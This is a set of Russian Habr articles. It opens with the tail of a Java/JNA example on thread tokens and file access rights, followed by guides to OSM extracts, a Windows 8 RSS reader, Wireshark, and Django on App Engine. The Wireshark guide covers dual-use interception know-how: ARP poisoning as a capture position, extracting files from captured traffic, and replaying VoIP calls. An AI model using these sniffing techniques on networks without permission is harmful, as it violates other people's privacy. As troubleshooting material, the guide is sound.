} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
```
Рассмотрим поподробнее этот код.
Сначала создаём класс для потока и указываем какой файл открывать. Потом выполняем функцию CreateThread с двумя параметрами – ссылка на класс для открытия файла и флаг создания CREATE\_SUSPENDED – указание системе что поток нужно создать «спящим». После выполнения получим хендл потока. Дальше проверяем, если хендл равен null, то поток не создан и нужно завершить работу.
Второй блок кода предназначен для выполнения входа в систему. Здесь перед запуском функции LogonUser нужно создать ссылку на хендл, в которую потом будет записан токен пользователя. В качестве параметров для запуска функции указываем логин, домен, пароль, указатель память, куда будет записан токен и дополнительные параметры входа пользователя. В результате выполнения функции мы получим либо true и токен пользователя либо false. Дальше идёт проверка возвращаемого значения и, если оно false, выход из программы.
Следующий блок довольно прост – там мы запускаем поток, ждём, пока он не завершится, и закрываем токены.
Чтение файла тоже не сложное – получаем файловые каналы из FileInputStream и FileOutputStream и производим копирование файла.
Закрытие ресурсов стандартное, принятое в Java – в блоке finally.
Теперь несколько замечаний:
1) При создании потока нужно сохранять ссылку на класс, которые будет вызываться в потоке, на всём протяжении времени жизни потока. Даже если доступ извне к этому классу не нужен. Иначе класс может удалиться сборщиком мусора и будет попытка доступа к памяти, заполненной неправильными данными. Собственно, это написано на сайте JNA, но это я узнал уже потом, когда словил несколько Access error.
2) Если открыть ресурс и передать его в другой поток, то права доступа сохраняться. Здесь мы можем это наблюдать – файл открыт в потоке с правами доступа одного пользователя, а само чтение файла происходит в другом потоке, с другими правами.
#### Пример выполнения
Теперь проверим выполнение программы. Сначала создадим папку и файл.
Потом назначит права доступа к этой папке:
Рис.1 Папка user1
Рис.2 Разрешаем доступ для пользователя user1
Рис.3 Разрешаем доступ для пользователя Tim
Запускаем программу:
**Файл можно прочитать из основного потока
Файл можно прочитать из дополнительного потока**
Теперь запретим пользователю Tim доступ к папке.
Рис. 4 Запрещаем права для доступа к папке для пользователя Tim
Попробуем открыть папку в Explorer. Получаем сообщение об ошибке:
Рис. 5 Сообщение об ошибке при открытии папки
Теперь запустим программу:
**Файл нельзя прочитать из основного потока
Файл можно прочитать из дополнительного потока**
#### Ссылки на ресурсы
[JNA](http://jna.java.net/)
[LogonUser](http://msdn.microsoft.com/en-us/library/aa378184(VS.85).aspx)
[CreateThread](http://msdn.microsoft.com/en-us/library/ms682453(v=VS.85).aspx)
[ResumeThread](http://msdn.microsoft.com/en-us/library/ms685086(v=VS.85).aspx)
[SetThreadToken](http://msdn.microsoft.com/en-us/library/aa379590(VS.85).aspx) | https://habr.com/ru/post/123945/ | null | ru | null |
# Как вырезать сабсет города (любого отношения) из OSM данных
Однажды мне потребовалось получить из сырых ОСМ данных чистый сабсет города (потому что так удобно, компактно и просто красиво). К моему удивлению я не нашел готового рецепта, из-за чего для выполнения этой задачи потребовалось немного попотеть.
Ввиду вышеизложенного считаю своим долгом поделиться накопленным опытом.
Допустим я хочу получить сабсет Кишинёва (почему? … там тепло, там мой дом, там моя мама)
Planet.osm нас, конечно, не интересует, зато есть **geofabrik**, но там планета нарезана на достаточно крупные шматки — <http://download.geofabrik.de/europe/moldova.html>
Значит, граница города есть в [сырых данных](https://www.openstreetmap.org/relation/1748490).
Из отношения несложно получить полигон, делаем это либо руками, либо при помощи любой подходящей утилиты, например, [этой](http://polygons.openstreetmap.fr/index.py).
Иии… теперь в игру вступает **osmosis**.
У нас есть осм всея Молдовы и ограничивающий полигон Кишинёва, этого вполне достаточно для получения сабсета города из сырого XML (OSM) файла:
```
osmosis --read-xml file="moldova.osm" --bounding-polygon file="kishinev.poly" --write-xml file="kishinev.osm"
```
Аналогично можно выковырять данные из PBF (Protocolbuffer Binary Format) файла:
```
osmosis --read-pbf file="moldova.osm.pbf" --bounding-polygon file="kishinev.poly" --write-xml file="kishinev.osm"
```
Немногим больше про osmosis можно [почитать здесь](https://wiki.openstreetmap.org/wiki/Osmosis/Polygon_Filter_File_Format).
Ну а готовый сабсет нужно срочно открывать в JOSM или импортировать в личный проект!
### UPD:
Как заметил [zverik](https://habr.com/ru/users/zverik/), всё вышеперечисленное будет гораздо проще сделать при помощи \*osmium-tool\* ([оф доки](https://osmcode.org/osmium-tool/manual.html#creating-geographic-extracts))
1. Скачать датасет страны
2. Извлечь из него границу города
```
osmium getid -r -t moldova-latest.osm.pbf r1691801 -o kishinev-boundary.osm
```
3. Извлечь город из датасета
```
osmium extract -p kishinev-boundary-with-tags.osm moldova-latest.osm.pbf -s simple -o kishinev.osm
```
Обратите внимание на флак **-s simple**
Это стратегия извлечения, и всего их три:
1. -s **simple** — обрезать дороги по границе
2. -s **complete\_ways** — не обрезать пограничные дороги (***по умолчанию***)
3. -s **smart** — извлекать зависимости пограничных дорог
Формат выходного файла определяется его расширением в команде.
**OSMIUM** — крайне мощный, удобный и полезный инструмент, которым приятно пользоваться. | https://habr.com/ru/post/463251/ | null | ru | null |
# Разбираемся с разработкой Windows 8 приложений на XAML/С#, реализуя простой RSS Reader. Ч.2
Продолжаем разрабатывать простой RSS Reader. Начало было положено в статье [Разбираемся с разработкой Windows 8 приложений на XAML/С#, реализуя простой RSS Reader. Ч.1](http://habrahabr.ru/company/microsoft/blog/163711/), где мы создали проект получили данные RSS и начали делать красиво. В этой части мы добавим красоты и функциональности в нашу читалку.
Продолжаем делать красиво
-------------------------
Теперь у нас красивые плитки разных размеров, причём, мы можем, при желании замостить по разному группы. Давайте это сделаем. Блог Стаса Павлова сделаем с плитками разных размеров, а для Блога Сергея Пугачёва – не будем баловать пользователя таким разнообразием.
Как это сделать? Всё очень просто. Логика, которая определяет размеры плиток вся реализована в функции PrepareContainerForItemOverride класса VariableSizeGridView, так что можно добавить туда соответсвующую логику.
Чтобы отличить группы, будем использовать UniqueID, для группы он соответствует URL на RSS. Добавим следующий код в функцию PrepareContainerForItemOverride:
```
int group = -1;
if (dataItem.Group.UniqueId.Contains("stas"))
{
group = 1;
}
```
А теперь изменим поведение функции, в зависимости от того, для какой группы она работает. добавив условие.
```
if (group > 0)
{
if (index == 2)
{
colVal = 2;
rowVal = 4;
}
if (index == 5)
{
colVal = 4;
rowVal = 4;
}
}
```
Запустим программу, чтобы проверить, как теперь это работает.
Поставим себе ещё более сложную задачу. А что если у нас для отображения необходимо использовать вообще разные шаблоны отображения? Это также решаемая задача. Нам опять придётся реализовать свой класс, который будет содержать логику, но теперь он будет уже наследоваться от DataTemplateSelector.
Итак, добавим в решение новый класс с именем MyDataTemplateSelector, указываем, что он наследутся от DataTemplateSelector. Добавяляем в using директивы:
```
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
```
И переопределяем функцию SelectTemplateCore. В результате должно получится следующее:
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
namespace MyReader
{
class MyDataTemplateSelector : DataTemplateSelector
{
protected override DataTemplate SelectTemplateCore(object item, DependencyObject container)
{
return base.SelectTemplateCore(item, container);
}
}
}
```
Теперь нужно определить в XAML файле те шаблоны из которых мы будем выбирать. Для этого отркываем GroupedItemsPage.xaml и переходим к ресурсам страницы, где у нас определён шаблон CustomItemTemplate:
```
```
Определим ещё один шаблон с минимальными изменениями – изменим выраваниваия:
```
```
Вернёмся теперь к нашему классу MyDataTemplateSelector и добавим код, который определяет, какой шаблон использовать, в зависимости от того, элемент какой группы отображается:
```
using MyReader.Data;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
namespace MyReader
{
class MyDataTemplateSelector : DataTemplateSelector
{
public DataTemplate Template1 { get; set; }
public DataTemplate Template2 { get; set; }
protected override DataTemplate SelectTemplateCore(object item, DependencyObject container)
{
RSSDataItem dataItem = item as RSSDataItem;
if (dataItem.Group.UniqueId.Contains("stas"))
{
return Template1;
}
else
return Template2;
}
}
}
```
Возвращаемся к GroupedItemsPage.xaml и переходим к ресурсам страницы, где у нас определены шаблоны и инициализируем наш селектор:И указываем селектор в вместо указания шаблона для Item для local:VariableSizeGridView:
Запускаем приложение, чтобы убедиться, что всё работает, как запланировано.
Отлично, всё работает так, как и запланировано, можно перейти к работе с живыми плитками.
Но, перед тем, как перейти к живым плиткам, давайте изменим стиль текста подписи на плитках группы.
Создадим на основве стиля BasicTextStyle необходимые нам стили и разместим их в ресурсах страницы GroupedItemsPage.xaml:
```
<Setter Property="LineHeight" Value="40"/>
<Setter Property="LineStackingStrategy" Value="BlockLineHeight"/>
<!-- Properly align text along its baseline -->
<Setter Property="RenderTransform">
<Setter.Value>
<TranslateTransform X="-1" Y="4"/>
</Setter.Value>
</Setter>
<Setter Property="FontWeight" Value="SemiBold"/>
```
И наложим этот стиль на текст в наших шаблонах::
```
```
Запустим приложение и посмотрим, как теперь выглядят подписи на сгруппированых элементах.
Всё выглядит гораздо лучше. Если есть желание, можно поиграться со стилями, добиваясь желаемого эффекта.
Добавляем живые плитки
----------------------
Пришло время добавить живые плитки. Так как пока у нес нет сервиса, который следит за обновленями, наши плитки будут обновляться в момент получения RSS, чтобы радовать пользователя вплоть до следующего запуска приложения.
Перейдём в файл RSSDataSource.cs и добавим в класс RSSDataSource метод UpdateTile:
```
public static void UpdateTile()
{
var news = RSSDataSource.AllGroups[0].Items.ToList();
var xml = new XmlDocument();
xml.LoadXml(
string.Format(
@"xml version=""1.0"" encoding=""utf-8"" ?
{0}
{1}
{2}
{3}
{0}
{1}
{2}
{3}
",
news.Count > 0 ? System.Net.WebUtility.HtmlEncode(news[0].Title) : "",
news.Count > 1 ? System.Net.WebUtility.HtmlEncode(news[1].Title) : "",
news.Count > 2 ? System.Net.WebUtility.HtmlEncode(news[2].Title) : "",
news.Count > 3 ? System.Net.WebUtility.HtmlEncode(news[3].Title) : ""));
TileUpdateManager.CreateTileUpdaterForApplication().Update(new TileNotification(xml));
}
```
Не забудте добавить в блок using следующие директивы:
```
using Windows.Data.Xml.Dom;
using Windows.UI.Notifications;
```
Здесь мы создаём XML для обновления плиток, используя шаблоны, и собственно обновляем сами плитки. Код полностью прозрачен. Поскольку это пример, то я всегда беру просто первый RSS поток.
Чтобы это заработало, надо добавить вызов этого метода в любое место, где уже достпен RSS. Давайте добавим await к вызываемым методам AddGroupForFeedAsync загрузки RSS и тогда сможем спокойно вызывать нашу функцию, после добавления первого фида.
Переходим к методу LoadState в файле GroupedItemsPage.xaml.cs, добавляем к нему async, к методам AddGroupForFeedAsync и добавляем вызов UpdateTile::
```
protected async override void LoadState(Object navigationParameter, Dictionary pageState)
{
this.DefaultViewModel["Groups"] = RSSDataSource.AllGroups;
await RSSDataSource.AddGroupForFeedAsync("http://blogs.msdn.com/b/stasus/rss.aspx");
RSSDataSource.UpdateTile();
RSSDataSource.AddGroupForFeedAsync("http://www.spugachev.com/feed");
}
```
Я специально отставил один вызов без await – позже – обратите внимание, как это выглядит, при старте приложения.
Теперь осталось добавить к приложению поддержку WideLogo. Для этого создайте файл Habr\_WideLogo.scale-100.png размером 310 на 150, добавьте его в папку Asset проекта. Далее двойным щелчком по файлу Package.appxmanifest откройте его визуальный редактор и добавьте WideLogo в приложение:
Теперь мы полностью готовы к запуску приложения. Запустите его, потом закройте. Перейдите на стартовый экран и убедитесь, что живые плитки работают, причём, как квадратные, так и прямоугольные!
Пришло время добавлят контракты. Начнём с контракта Share. Реализуем источник данных. Шарить данные будем на странице поста RSS, предоставляя системе максимально возможное количество данных.
Перейдём к коду страницы ItemDetailPage.xaml.cs. Для того, чтобы предоставить системе данные, необходимо обработать событие DataRequested для DataTransferManager. Итак, начнём.
Добавляем контракт Share
------------------------
Зарегистрируем обработчик события DataRequested в NavigateTo страницы (и отпишемся от события в NavigateFrom), и реализуем обработчик в котором предоставим системе название поста и текст:
```
protected override void OnNavigatedTo(NavigationEventArgs e)
{
base.OnNavigatedTo(e);
DataTransferManager.GetForCurrentView().DataRequested += Share_DataRequested;
}
protected override void OnNavigatedFrom(NavigationEventArgs e)
{
base.OnNavigatedFrom(e);
DataTransferManager.GetForCurrentView().DataRequested -= Share_DataRequested;
}
private void Share_DataRequested(DataTransferManager sender, DataRequestedEventArgs args)
{
var selectedItem = (RSSDataItem)this.flipView.SelectedItem;
args.Request.Data.Properties.Title = selectedItem.Title;
args.Request.Data.Properties.Description = selectedItem.Content;
args.Request.Data.SetText(selectedItem.Content);
}
```
Запустите приложение перейдите на страницу поста и проверьте, что теперь приложение может передать данные в другие приложения.
На самом деле мы получаем гораздо больше данных для расшаривания в RSS фиде. Это картинка поста, URI поста и т.д. Предлагаю самостоятельно модифцировать код метода добавляния фида, а также сопуствующие классы, чтобы было больше данных. Больше данных – с большим колчичеством приложений можно поделиться!
Внезапно возникнувшее желание рассказать про DataTemplateSelector сделало статью уже достаточно большой. Поэтому, придётся сделать третью часть. В неё перенесём контракт поиска и настройки, если получится — параллакс бэкграунда и другие полезные вещи, а если не поместится — сделаю ещё несколько частей.
Текущий код приложения можно скачать c SkyDrive по короткой ссылке: [aka.ms/w8RSSp2](http://aka.ms/w8RSSp2)
**UPD:**
[Часть 1-я цикла](http://habrahabr.ru/company/microsoft/blog/163711/)
[Часть 3-я цикла](http://habrahabr.ru/company/microsoft/blog/166421/) | https://habr.com/ru/post/163837/ | null | ru | null |
# Wireshark — приручение акулы
Wireshark — это достаточно известный инструмент для захвата и анализа сетевого трафика, фактически стандарт как для образования, так и для траблшутинга.
Wireshark работает с подавляющим большинством известных протоколов, имеет понятный и логичный графический интерфейс на основе GTK+ и мощнейшую систему фильтров.
Кроссплатформенный, работает в таких ОС как Linux, Solaris, FreeBSD, NetBSD, OpenBSD, Mac OS X, и, естественно, Windows. Распространяется под лицензией GNU GPL v2. Доступен бесплатно на сайте [wireshark.org](http://www.wireshark.org/).
Установка в системе Windows тривиальна — next, next, next.
Самая свежая на момент написания статьи версия – 1.10.3, она и будет участвовать в обзоре.
Зачем вообще нужны анализаторы пакетов?
Для того чтобы проводить исследования сетевых приложений и протоколов, а также, чтобы находить проблемы в работе сети, и, что важно, выяснять причины этих проблем.
Вполне очевидно, что для того чтобы максимально эффективно использовать снифферы или анализаторы трафика, необходимы хотя бы общие знания и понимания работы сетей и сетевых протоколов.
Так же напомню, что во многих странах использование сниффера без явного на то разрешения приравнивается к преступлению.
Начинаем плаванье
=================
Для начала захвата достаточно выбрать свой сетевой интерфейс и нажать Start.
После чего и начнется процесс захвата, причем прилетевшие пакеты будут появляться в реальном времени.
В процессе рассмотрения и изучения пакетов бывают ситуации, когда нужно вернуться предыдущему пакету. Для этого есть две кнопки (см скриншот).
А следующая за ними кнопка позволяет сделать быстрый переход к пакету, указав его номер.
В случае если колонки перекрываются и наползают друг на друга, можно кликнуть по такой колонке правой кнопкой мыши и выбрать *“Resize Column”*.
Произойдет автоматическая подгонка размеров под текущую ситуацию.
И кроме того, есть кнопка *“Resize all Columns”*, которая приведет в порядок все колонки.
Используя меню *View – Time Display Format*, можно, например, настроить, чтобы отсчет времени шел не с начала захвата, а с момента получения предыдущего пакета (*Since Previous Captured Packet*).
Самое важное в каждой программе (*Help – About Wireshark*) покажет не только версию и список авторов, но и содержит закладку *Folders*, которая покажет пути размещения каталогов с конфигурациями.
Изучая интерфейс, можно выбрать, например, пакет http, и увидеть, что HTTP инкапсулируется в TCP (транспортный уровень), TCP инкапсулируется в IP (сетевой уровень), а IP в свою очередь инкапсулируется в Ethernet (перед этим даже мелькает 802.1Q).
И на самом верху идет нечто вроде небольшого обзора собранной информации о кадре.
Про фильтры мы поговорим дальше, а на данном этапе, если нужно быстро отфильтровать лишние пакеты, достаточно сделать правый клик на пакете, выбрать меню *Apply as Filter – Not selected* и изменения сразу же вступят в силу.
Если нужно еще что-то убрать, то в следующий раз выбирать *“and not Selected”*, и новое правило просто добавится к фильтру.
Убираем заусенцы
================
Довольно часто при работе с Wireshark возникает ошибка **IP checksum offload** – ошибка контрольной суммы заголовка IP пакета.
Современные сетевые карты насколько умные, что сами считают контрольную сумму, зачем это делать на уровне стека TCP/IP программно, если можно делать хардварно.
А Wireshark натурально перехватывает пакеты, до того как они попадают в сеть.
И до того как эта сумма была просчитана и была добавлена в заголовок пакета.
Соответственно есть два пути решения этой проблемы — выключать функцию offload в настройках сетевой карты или в настройках сниффера указать, чтобы он не обращал внимание на это значение.
Хардваные функции зачастую лучше софтварных, в основном из-за скорости обработки (в железе обычно выше) поэтому лучше изменить настройки самого сниффера.
Для этого нужно зайти в настройки (*Edit — Preferences*), затем Protocols – IPv4 – и снять флаг с *“Validate IPv4 checksum if possible”*.
Перед тем как захватывать трафик нужно определиться с тем, что, собственно, нужно захватывать.
Разместить анализатор трафика можно в нескольких местах:
* Локально на своем хосте;
* Организовать зеркалирование трафика на коммутаторе;
* Подключаться непосредственно в интересующие места;
* или же отравление протокола ARP (еще более незаконно, чем пассивное прослушивание трафика)
Фильтруем поток
===============
Wireshark содержит два вида фильтров – захвата (*Capture Filters*) и отображения (*Display Filters*).
Вначале рассмотрим **Capture Filters**.
Как можно догадаться по названию, они служат для фильтрации еще на этапе захвата трафика.
Но в таком случае, безусловно, можно безвозвратно потерять часть нужного трафика.
Фильтр представляет собой выражение, состоящее из встроенных значений, которые при необходимости могут объединяться логическими функциями (and, or, not).
Для того, чтобы его задействовать, нужно зайти в меню *Сapture*, затем *Options*, и в поле *Capture Filter* набрать, например, *host 8.8.8.8* (или, например, *net 192.168.0.0./24*)
Так же, конечно, можно выбрать и заранее созданный фильтр (за это отвечает кнопка Capture Filter).
В любом из вариантов фильтр появится возле интерфейса, можно жать Start.
Теперь перейдем к **Display Filters**.
Они фильтруют исключительно уже захваченный трафик.
Что можно фильтровать?
— Практически все — протоколы, адреса, специфические поля в протоколах.
Операции, которые можно использовать при построении фильтров:
| Команда | Значение | Пример использования |
| --- | --- | --- |
| == | равенство | ip.dst == 193.168.3.10 |
| != | Не равно | udp.dst != 53 |
| < | меньше чем | ip.ttl < 24 |
| > | больше чем | frame.len > 10 |
| <= | меньше или равно | frame.len <= 0x20 |
| >= | больше или равно | tcp.analysis.bytes\_in\_flight >= 1000 |
| matches | регулярные выражения | frame matches "[Pp][Aa][Ss][Ss]" |
| contains | содержит | dns.resp.name contains google |
Как вы, наверное, заметили, в таблице в качестве примеров были разнообразные выражения, достаточно понятные и зачастую говорящие сами за себя.
Например, ip.dst – это поле протокола IP.
Чтобы увидеть это поле, можно просто посмотреть на пакет, и в нижней части окна можно увидеть его значение, которое потом можно применять в любом фильтре.
Например, нас интересует, как создать фильтр, где будет проверяться значение TTL.
Для этого раскрываем L3 часть и становимся на соответствующее поле:
И видим, что для построения фильтра, нужно использовать выражение ip.ttl.
Если начать набирать фильтр, то после точки автоматически появится список возможных значений:
Чтобы применить фильтр, достаточно нажать enter или кнопку Apply.
Само поле для ввода фильтра может менять цвет в зависимости от того, что было набрано.
Зеленый цвет означает, что все в порядке. Красный — допущена ошибка, желтый — получен неожиданный результат, потому что существуют другие варианты написания фильтра (например можно написать *ip.dst != 8.8.8.8* или же *!ip.dst == 8.8.8.8*, именно второй вариант более предпочтительный).
Фильтры можно сохранять для дальнейшего использования, нажав кнопку Save, затем ввести произвольное название
и после нажатия на кнопку ОК фильтр появится как кнопка на панели.
А если кликнуть на расположенную неподалеку кнопку «Expression…», то откроется достаточно мощный конструктор выражений, по которому можно чуть ли не изучать сетевые протоколы. Количество поддерживаемых протоколов постоянно увеличивается.
Как уже упоминалось ранее, можно выделить любой пакет и в контекстном меню выбрать *Apply as Filter* и в подменю выбрать режим — *selected* или *not selected* и соответственно сразу же появится фильтр, который будет показывать только выбранное или наоборот уберет выбранное с экрана.
Таким образом можно гибко выбирать, что видеть на экране, а что — нет.
Это может быть определенный ip-адрес, ttl, порт, dns ответ и многое другое.
Кроме того, есть два варианта для таких быстрых фильтров — Prepare as Filter и Apply as Filter.
Как можно догадаться по названию — разница заключается в том, что в первом случае только появится в поле для ввода Display Filter, но не применится (удобно, если например, добавлять таким способом несколько фильтров, а затем сразу применить готовый результат), а во втором — сразу же и применится.
Фильтры можно объединять, используя знакомые по булевой алгебре логические операции:
`(dns) && (http)` логическое и
`(dns) || (http)` это логическое или
Таким образом можно строить большие и сложные фильтры вроде:
`(tcp.flags.syn==1) && (ip.src == 172.16.10.2) && (ip.dst == 172.16.10.1)`
Здесь видим, что выбираются только TCP SYN сегменты, только с определенным адресом отправителя и получателя. При составлении больших фильтров нужно помнить, что фильтр по сути — логическое выражение, и если оно истинно, то пакет отобразится на экране, если ложно — нет.
Ныряем глубже
=============
Достаточно частая ситуация, когда возникают жалобы на медленную работу сети, причин этого может быть множество.
Попробуем разобраться, в чем может быть причина, и рассмотрим два способа.
Первый состоит в добавлении колонки *TCP delta*.
Открываем пакет, находим поле *Time since previous frame in this TCP frame*, правый клик и выбираем *Apply as Column*. Появится новая колонка.
На ней можно кликнуть правой кнопкой мыши и выбрать режим сортировки, например, *Sort Descending*.
И сразу же рассмотрим второй способ.
Относительно недавно (в версии 1.10.0) появился фильтр tcp.time\_delta, который, собственно, учитывает время с момента последнего запроса.
Если клиент делает запрос и получает ответ через 10 миллисекунд, и клиент говорит, что у него все медленно работает, то, возможно, проблема у самого клиента.
Если же клиент делает запрос и получает ответ через 2-3 секунды, тут уже, возможно, проблема кроется в сети.
Еще глубже
==========
Если посмотреть в TCP пакет (или сегмент если быть точным), то можно увидеть там *Stream index*, который начинается обычно с нуля.
Само поле будет называться tcp.stream.
По нему можно сделать правый клик и создать фильтр.
Таким образом можно фильтровать нужные соединения.
Еще один способ – сделать правый клик на самом пакете, выбрать *Conversation Filter* и создать фильтр для l2 l3 l4 уровня соответственно.
В итоге мы опять увидим взаимодействие двух хостов.
И третий вариант — это одна из самых интересных фич — **Follow TCP Stream**.
Для того чтобы его задействовать, нужно опять таки кликнуть правой кнопкой мыши на пакете и выбрать *“Follow TCP Stream”*. Появится окно, где будет наглядно продемонстрирован весь обмен между двумя узлами.
Если же зайти в меню *Statistics – Conversations*, то, выбирая закладки, можно увидеть статистику по таким “разговорам” и различные сессии, при этом можно отсортировать их по различным колонкам, например, по количеству переданных данных.
И прямо в этом окне можно правой кнопкой взывать контекстное меню и опять же применить как фильтр.
Со временем приходит опыт
=========================
После некоторого времени, проведенного за захватом разнообразного трафика, можно заметить какую-то шарообразную кнопку в нижнем левом углу, которая еще иногда меняет цвет.
Нажатие на эту кнопку приведет к открытию окна *Expert Infos*.
Того же результата можно добиться, пройдя в меню *Analyze – Expert Info*.
В этом окне будет содержаться информация по найденным пакетам, разбитая на группы Errors, Warnings, Notes и Chats.
Цветовая раскраска для этих групп выглядит следующим образом:
Ошибки — красный цвет
Предупреждения — желтый
Примечания — сине-зелёный (cyan)
Чат — серый
Wireshark содержит в себе мощный анализатор и умеет автоматически обнаруживать большое количество проблем, возникающих в сети.
Как вы уже могли заметить, буквально везде можно использовать фильтры и Expert Info не является исключением.
Для того чтобы создать такой фильтр, нужно использовать конструкцию *expert.severity*.
Например, *expert.severity==error*.
Грабим трафик!
==============
Можно ли с помощью Wireshark узнать, что было скачано?
Да, можно. И сейчас это увидим.
Вначале возьмем HTTP трафик.
Сделаем правый клик по HTTP пакету — *Protocol Preferences* – и видим тут массу опций, которые непосредственно влияют на извлечение файлов из веб трафика.
Для того чтобы увидеть, что можно извлечь из текущего дампа нужно перейти в меню *File – Export Objects – HTTP*.
Появится окно, которое покажет все захваченные http объекты — текстовые файлы, картинки и т.д. Для того чтобы вытащить любой файл из этого списка, достаточно просто выделить его и нажать Save As.
Как можно заметить, рисунок был извлечен без каких-либо проблем.
Таким же способом, можно извлекать и потоковое видео/аудио.
Но на этом возможности Wireshark не заканчиваются!
Он умеет вытаскивать файлы и с протокола FTP.
Для этого можно использовать знакомый уже Follow TCP Stream.
В итоге отобразится только обмен по протоколу FTP, в котором нужно будет найти строку RETR, что собственно и будет означать передачу файла.
Затем опускаемся дальше, находим пакеты уже непосредственно с файлом (FTP-DATA) и опять выбираем Follow TCP Stream, видим содержимое файла, жмем Save As и сохраняем.
VoIP
====
Wireshark имеет несколько встроенных функций для работы с этой технологией.
Он поддерживает массу голосовых протоколов — SIP, SDP, RTSP, H.323, RTCP, SRTP и другие.
И, конечно же, умеет перехватывать и сохранять голосовой трафик для дальнейшего прослушивания.
Этот функционал как нельзя лучше подойдет для траблшутинга в сетях Voice over IP.
Меню *Statistics — Flow Graph* покажет наглядную картину, как происходил весь обмен пакетами.
А вообще целое меню *Telephony* отведено для работы с голосовым трафиком.
Например, *Telephony – RTP – Show All Streams* покажет подробно, что происходило с RTP, в частности jitter (параметр, который, вероятно, самый важный в голосе), что иногда сразу скажет о наличии проблем.
Нажав на кнопку “Analyze”, можно открыть окно *RTP stream Analysis* – и, выбрав там поток, можно его даже проиграть, используя кнопку player.
Сначала отроется окно проигрывателя, в котором вначале нужно установить подходящее значение jitter и использовать кнопку decode.
Появится нечто похожее на анализатор спектра, в котором можно отметить требуемый разговор, и после этого кнопка Play станет активной.
Так же существует еще один способ прослушивания голосовых звонков — можно зайти в меню *Telephony – VoIP Calls*.
Откроется окно со списком совершенных звонков, где опять же можно нажать кнопку player, отменить нужные разговоры флажками и нажать play.
Для того чтобы добиться приемлемого качества звучания, потребуется проиграться со значением поля jitter buffer, меняя его значение.
Небольшое отступление
=====================
Некоторое время назад появился сайт [CloudShark.org](http://cloudshark.org/).
Это тот самый сниффер Wireshark, но реализованный в виде онлайн-сервиса. Очевидно, что с его помощью не удастся захватывать сетевой трафик, но выполнять анализ дампа трафика – вполне. Загрузив туда через форму PCAP-файл на анализ, можно будет получить четкую последовательность пакетов, в которой всё данные будут разбиты на понятные поля в зависимости от протокола. В общем, тот же Wireshark, но немного облегченный и доступный из любого браузера.
Финальная битва
===============
Напоследок рассмотрим как выглядит сканирование портов.
Смотрим на дамп и видим, что вначале происходит ARP запрос и затем непосредственно начинается сканирование. Адрес нашего маршрутизатора 192.168.10.11, сканирование идет с адреса 192.168.10.101
Это, так называемое, SYN сканирование, когда идут SYN-пакеты на указанный диапазон портов. Так как большинство портов закрыто, маршрутизатор отвечает пакетами RST, ACK.
Пролистав чуть ниже видим, что открыт telnet (tcp 23).
На это указывает то, что маршрутизатор ответил пакетом SYN, ACK.
К слову, для фильтрации портов в сниффере можно использовать конструкции вида: tcp.srcport, tcp.dstport и tcp.port. Для протокола UDP всё аналогично — udp.srcport, udp.dstport, udp.port.
Итоги
=====
Мы пробежались по самым основным частям функционала лучшего анализатора пакетов.
Получилось несколько сумбурно, вероятно, потому что хотелось затронуть как можно больше его возможностей и не упустить ничего важного.
Оказалось, что анализатор пакетов, как отладчик и дизассемблер, демонстрирует мельчайшие подробности работы сети и сетевых протоколов.
Используя Wireshark и обладая необходимыми знаниями (которые можно почерпнуть изучив серию Сетей для Самых Маленьких на сайте linkmeup.ru) можно достаточно эффективно находить и диагностировать разнообразные проблемы, возникающие в сети.
В процессе написания использовались материалы сайта [wiki.wireshark.org](http://wiki.wireshark.org/)
Дампы с трафиком брались из разных источников, больше всего с сайта [packetlife.net](http://packetlife.net) | https://habr.com/ru/post/204274/ | null | ru | null |
# Поддержка Django приложений в Google App Engine
Недавно google [анонсировал](http://habrahabr.ru/blogs/gae/129907/) [Cloud SQL](https://developers.google.com/cloud-sql/) для своего облака. Но вначале подержки django не было, и вот в начале февраля выходит [App Engine 1.6.2](http://googleappengine.blogspot.com/2012/01/app-engine-162-released.html) с поддержкой запуска приложений на django. Теперь можно забыть про скакания вокруг app-engine-patch и django-nonre, и пытаться эмулировать реляционную базу данных поверх bigtable.
Нам дают django 1.2 и модуль работы с Cloud SQL из коробки, и мы можем забыть про костыли с упаковкой пакетов в zip архивы. Вот какие шаги нам необходимо сделать для получения простого приложения в облаке:
1. Для начала необходимо запросить тестовый доступ к Cloud SQL через [Google APIs Console](https://code.google.com/apis/console). Мне выдали доступ в течений 3-х дней, после этого в консоли мы получим доступ к управлению сервисом.
2. После получения доступа нам по сути выдают обычный доступ к выполнению консольных команд mysql, где мы можем создать базу данных.
3. Теперь создаем обычное GAE приложение внутри которого будет веб приложение на django + app.yaml файл в который необходимо прописать:
```
application: appname
version: 1
runtime: python27
api_version: 1
threadsafe: true
libraries:
- name: django
version: "1.2"
builtins:
- django_wsgi: on
```
4. Для того что бы django-приложение сумело обращаться к Cloud SQL необходимо лишь в конфиге для DATABASES прописать:
```
DATABASES = {
'default': {
'ENGINE': 'google.appengine.ext.django.backends.rdbms',
'INSTANCE': 'my_project:instance1',
'NAME': 'my_database',
}
}
```
Это основное что необходимо сделать для подготовки приложения. При первой попытки сделать syncdb нас попросят авторизоваться, для этого нужно получить токен через [Google APIs Console](https://code.google.com/apis/console) на вкладке «API Access», и как говорит [инструкция](https://developers.google.com/cloud-sql/docs/django) расположить его в `~/.googlesql_oauth2.dat` (для windows `%USERPROFILE%\.googlesql_oauth2.dat`). Во время syncdb в Cloud SQL создаться необходимая схема базы для приложения и загрузятся fixtures если они есть. Пока разработка идет на локальной машине, приложение работает с sqlite3 базой. После этого можно смело пушить приложение в облако.
ИМХО
----
Я считаю что гугл сделал правильный шаг, давая SQL базу. У них не получилось выстрелить со своим облаком. Да в то время это смотрелось интересно, но все быстро поняли что оно слишком ограничено, и завязнуф на сервисах google будет очень тяжело перенести приложение куда либо. Да есть инструменты для миграций на амазоноские сервисы, но они не дают гарантий, и в любом случае потребуется N-ое количество человеко часов для переноса. Я не вспомню не одного крупного сайта работающего поверх GAE, был интересный [проект](http://habrahabr.ru/blogs/gae/70355/) интернет магазина, но и тот скорее мертв чем жив. Большие проекты скорее избегают GAE или даже о нем не думают, когда рядом есть амазон, на котором можно построить свою архитектуру, легко смигрироваф при необходимости.
